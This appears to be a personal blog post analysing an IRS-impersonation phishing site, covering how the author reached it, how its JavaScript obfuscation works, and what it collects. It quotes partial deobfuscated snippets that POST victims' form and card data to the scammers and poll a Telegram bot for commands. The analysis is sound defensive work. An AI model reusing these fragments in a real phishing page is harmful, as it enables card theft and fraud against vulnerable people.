D G

IRS Scam

A friend of mine and I received a message from the IRS at nearly the same time.

drawing
The Bait


I replied to them, in hopes that I would be eligible to receive slightly more than the offered amount…

drawing
The Disappointment


but got no response. This is when I started to suspect something was off.

When I tried opening the link on my computer, it did not work – the page could not be found. Opening the link on both MacOS and Windows machines gave no result, either. So, either the scammers severely misconfigured their infrastructure, or there’s some silliness going on here.

Searching up the site’s IP address brought up an nginx server welcome page.

Scanning the IP with nmap shows us an array of open ports, including an SQL management service:

Looking back to the original phishing message, we can see that it does specify Safari as the browser of choice… interesting. Maybe the receiving server is configured only to respond to web requests incoming from Safari browsers/User Agents. I tried crafting a request that would satisfy these requirements, but after struggling for far too long, I opted to instead open the link on my phone while monitoring its traffic and webpage elements on my computer:

drawing

Yippee! It looks like the server has been configured to only respond to requests coming in and out of iPhones; I suspect it accomplishes this by inspecting a combination of headers in the requests themselves, most prominently the User-Agent.

An incredibly deep thank you to the following sources for helping me create this Rube Goldberg-esque phish detonation setup:

Selecting “Get My Payment”, we are directed to this page:

drawing

Here, the victim is prompted to enter various attributes of their personal information. When expanded fully, the URL for the page is ; however, due to Safari’s mobile layout, the URL is cutoff at the .com – ensuring the victim can’t see the odd .php extension.

The HTML of the page does not display any particularly malicious behavior; however, the input boxes and social media links are hardcoded into the page, as opposed to other content which is auto-generated and filled by the site’s functions.js file. More on that in a bit.

Regex is used within every form element to ensure that submitted data follows specific formats.

After filling out the fields with bogus information, I collected the .php and .js pages used to load and process the collected data. In order to prevent the usage of this malicious code elsewhere, the full deobfuscated code will not be posted here; however, I will go over chunks of the code later in this post.

Moving on to the third, final page of the site:

drawing

we finally get to the section which the scammers’ entire operation hinges on: collecting credit card information.

A disclaimer notifies the victim that they should expect a small “verification charge” to their account after submitting their information — this is a clever attempt to both soothe the victim’s concerns should they see unexpected charges appear, and allot the scammers more time before the victim reports the breach. Once again, Regex is used to ensure that data passed to the form follows specific formats.

Upon filling these fields out and submitting the information, we are either told our credit card is invalid and that we must try again (bummer) or we are redirected to an official IRS webpage with a banner notifying us of recent scams (bummer).

We can finally get to the good part :)

The Javascript

The site uses two Javascript files, functions.js and characters.js, conveniently named so we know how easily confused the scammers are.

Looking at the smaller file, characters.js, we find a common method of obfuscation implemented by scam sites: a shuffled array of a wide variety of words.

The file consists of three functions:

  1. The first returns the entirety of the array
  2. The second retrieves an element from the array based on a passed index
  3. The third unshuffles the array, so that it can be used by the rest of the scripts

get_word_array()

The first function is straightforward. It contains the array, and returns it. For the sake of readability, I’ll refer to it as get_word_array()

get_word_from_array(index)

I will refer to the second function as get_word_from_array(index). Before we can dissect how the array is unshuffled, we have to learn about how get_word_from_array(index) is used. For instance, take this line:

_0xdeadbeef = "https://"[get_word_from_array(340)]("ir")+get_word_from_array(560)+"/"+get_word_from_array(220)

the function get_word_from_array(index) retrieves an element from the array, given a specific index. Oftentimes, the function will take the passed index and subtract a hard-coded offset to calculate the element’s true index, as follows:

function get_word_from_array(index)
{
    var word_array = get_word_array();
    const offset = SOME_NUMBER;
    return word_array[index-offset];
}

With this, we can begin to deobfuscate our jumbled code. Using get_word_from_array(index), we plug in the arguments seen in the code and get the following:

  • get_word_from_array(340) => “.concat”
  • get_word_from_array(560) => “scam.com”

So, now we have

_0xdeadbeef = "https://"[".concat"]("ir")+"scam.com"+"/"+"sendCode"

By the sacred, ridiculous rules of Javascript we can change “.concat” into the .concat() function due to the brackets enveloping the String. Simplifying the code more, we get:

_0xdeadbeef = "https://".concat("ir")+"scam.com"+"/sendCode"

Put it all together, and we get

_0xdeadbeef = "https://irscam.com/sendCode"

likely an endpoint to either send or receive data!

Unshuffling the Array

We can now approach dissecting the obfuscated array unshuffler. Here’s an example of one such unshuffler (I’ve taken the liberty of deobfuscating it and converting it to Python for readbility and general mental health):

while True:
    try:
        calculated_number = -parse_int(get_word_from_array(372)) / 1 + -parse_int(get_word_from_array(370)) / 2 + parse_int(get_word_from_array(362)) / 3 + -parse_int(get_word_from_array(359)) / 4 * (-parse_int(get_word_from_array(361)) / 5) + -parse_int(get_word_from_array(369)) / 6 + -parse_int(get_word_from_array(368)) / 7 * (parse_int(get_word_from_array(367)) / 8) + -parse_int(get_word_from_array(355)) / 9 * (-parse_int(get_word_from_array(357)) / 10)
        if(calculcated_number == 346304):
            break
        else:
            word_array.append(word_array.pop(0))
    except Exception as e:
        word_array.append(word_array.pop(0))

Yowza.

It looks like a lot, but the logic is very simple. We’ll make it more readable to make this clear:

while True:
    try:
        num_1 = parse_int(get_word_from_array(372))
        num_2 = parse_int(get_word_from_array(370))
        num_3 = parse_int(get_word_from_array(362))
        num_4 = parse_int(get_word_from_array(359))
        num_5 = parse_int(get_word_from_array(361))
        num_6 = parse_int(get_word_from_array(369))
        num_7 = parse_int(get_word_from_array(368))
        num_8 = parse_int(get_word_from_array(367))
        num_9 = parse_int(get_word_from_array(355))
        num_10 = parse_int(get_word_from_array(357))

        calculated_number = -num_1 / 1 + -num_2 / 2 + num_3 / 3 + -num_4 / 4 * (-num_5 / 5) + -num_6 / 6 + -num_7 / 7 * (num_8 / 8) + -num_9 / 9 * (-num_10 / 10)

        if(calculated_number == 346304):
            break
        else:
            word_array.append(word_array.pop(0))

    except Exception as e:
        word_array.append(word_array.pop(0))

The unshuffler takes an existing, “shuffled” array of elements, and begins to run a loop.

get_word_from_array(index) is used to retrieves elements from hardcoded indices, extracting the Integer content from the String (if any).

If, when plugged into the equation, the result of all these Integer values does not equal a Specific Value (in this instance 346304), the loop continues. The first element of the array is pushed to the back. In the event no Integer values can be extracted, an error occurs, and the same pushing of the first element is carried out.

This cycle continues until the calculcated value is equal to the Specific Value – when this occurs, the loop breaks. The array has been “unshuffled”! It can now be used throughout the rest of the script to retrieve the correct elements from the array.

The act of calling get_word_from_array(index) must be repeated for almost every line of obfuscated code to determine its true purpose – this is a process perfect for medidation or hobbyist dissociation.

The Site’s Capabilities

The file functions.js is used to enable the site’s scamming capabilities.

When the user moves from one page to the next, every click of the button sends a POST web request to a the URL of the same page, with an additional extension on it. This ensures that the scammers are able to collect at least some information from the victim, even if they do not go through with filling out their credit card information.

Exfiltrating Data

According to functions.js, device and browser-specific attributes such as IP, country and system-name are determined by querying https://api.ipregistry.co, then passed into the POST request to https://irs.gov.tax-equirement.com/payment.php along with the information submitted by the victim. The site also retrieves updates from a Telegram Bot. Both the Telegram Bot and ipregistry site are accessed with API keys loaded into browser cookies…

but there are no cookies. Or rather, there are no botFather or ipregistry cookies — and by extension, neither do the API keys. The site is unable to gather data on device and browser attributes, and is similarly unable to retrieve updates from Telegram.

Unfortunately, the function submitFormViewElement() is successful in sending data contained within the form itself back to payment.php:

function submitFormViewElement(which_form, timeout_length, animation_maybe, message_to_show) {
    ...
        fetch(window.location.pathname, {
          'method': 'POST',
          'body': new FormData(_0x3add2d.target)
        }).then(() => {
          ...
  }

Though, two separate functions which retrieve Telegram data and redirect the victim to a third site depending on their credit card number are never called. Should they have been executed, the following code block would run:

function submitFormWaitingRedirect(pathname, url_to_fetch_from, threshold_milliseconds, element_id, element_ids, new_destination) {
    document.addEventListener("submit", function (event) {
      ...
      if (event.target.id === pathname) {
        event.preventDefault();
        fetch(window.location.pathname, {
          'method': "POST",
          'body': new FormData(event.target)
        }).then(() => {
          let current_time_milliseconds = Date.now();
          //Function call every second
          let interval = setInterval(send_data, 1000);
          ...
          let cardNumber = getCookie("cardNumber");
          let randomCode1 = getCookie("randomCode1");
          let randomCode2 = getCookie("randomCode2");
          let botFatherKey = getCookie("botFather");
          fetch(url_to_fetch_from + "?queryJson=" + cardNumber).then(returnedJsonData => returnedJsonData.json()).then(formatted_json => {
            if (formatted_json === '1') {
                fetch(window.location.pathname + "?changeCodeSwitch=" + cardNumber + '&changeValue=0');
              new_location();
              } ...
            }),
            fetch("https://api.telegram.org/bot" + botFatherKey + "/getUpdates").then(returnedBotJson => returnedBotJson.json()).then(formatted_bot_json => {
              formatted_bot_json.result.forEach(piece_of_data => {
                let text = piece_of_data.message.text;
                if (text === randomCode1) {
                  new_location();
                } ...
              });
            });
          }
          function new_location() {
            clearInterval(interval);
            document.getElementById(element_id).style.display = "none";
            window.location.href = new_destination;
          }
          ...
        });
      }
    });
  }

How Bad is the “uh oh” Factor?

6/10

Should the function have ran, the script appears to check for whether the card has already been passed to the scammers; what would likely have occurred was:

Already Scammed: Page would reload and ask for another card Not Yet Scammed: Page would redirect to another URL, likely that of a real IRS webpage In addition, the script interprets the update from the Telegram Bot as commands for what to do — these actions are identical to the first block, though without . The fetch commands are intended to execute simultaneously. Fortunately, it appears that these larger functions represented a bulk of the site’s malicious capabilities — the absence of both cookies and the functions’ execution imply that either

A: This is a premade phishing kit purchased by the scammers, who are not fully aware of how to set it up. B: The scammers will continue to develop the site’s functionalities, and must be monitored closely. Data is sent back to the scammers via the WebKit Form functionality; it is unclear whether the scammers are able to access this POSTed data given the other shortcomings of the site, though the worst must be assumed.

Notes

The scammers changed their server from being hosted on 158.62.XXX.XXX to 223.165.XXX.XXX between the days of February 20st, 2025 and February 21st, 2025. As of writing this post, the server has not (yet) changed.

The URL https://irs.gov.tax-equirement.com is no longer reachable as of February 21st, 2025; however, the IP address remains operational, and displays an nginx welcome page when browsed to.

Hopefully, those behind the scam will abandon their high aspirations of cowardly exploiting vulnerable people.

This website is maintained by DannyGaev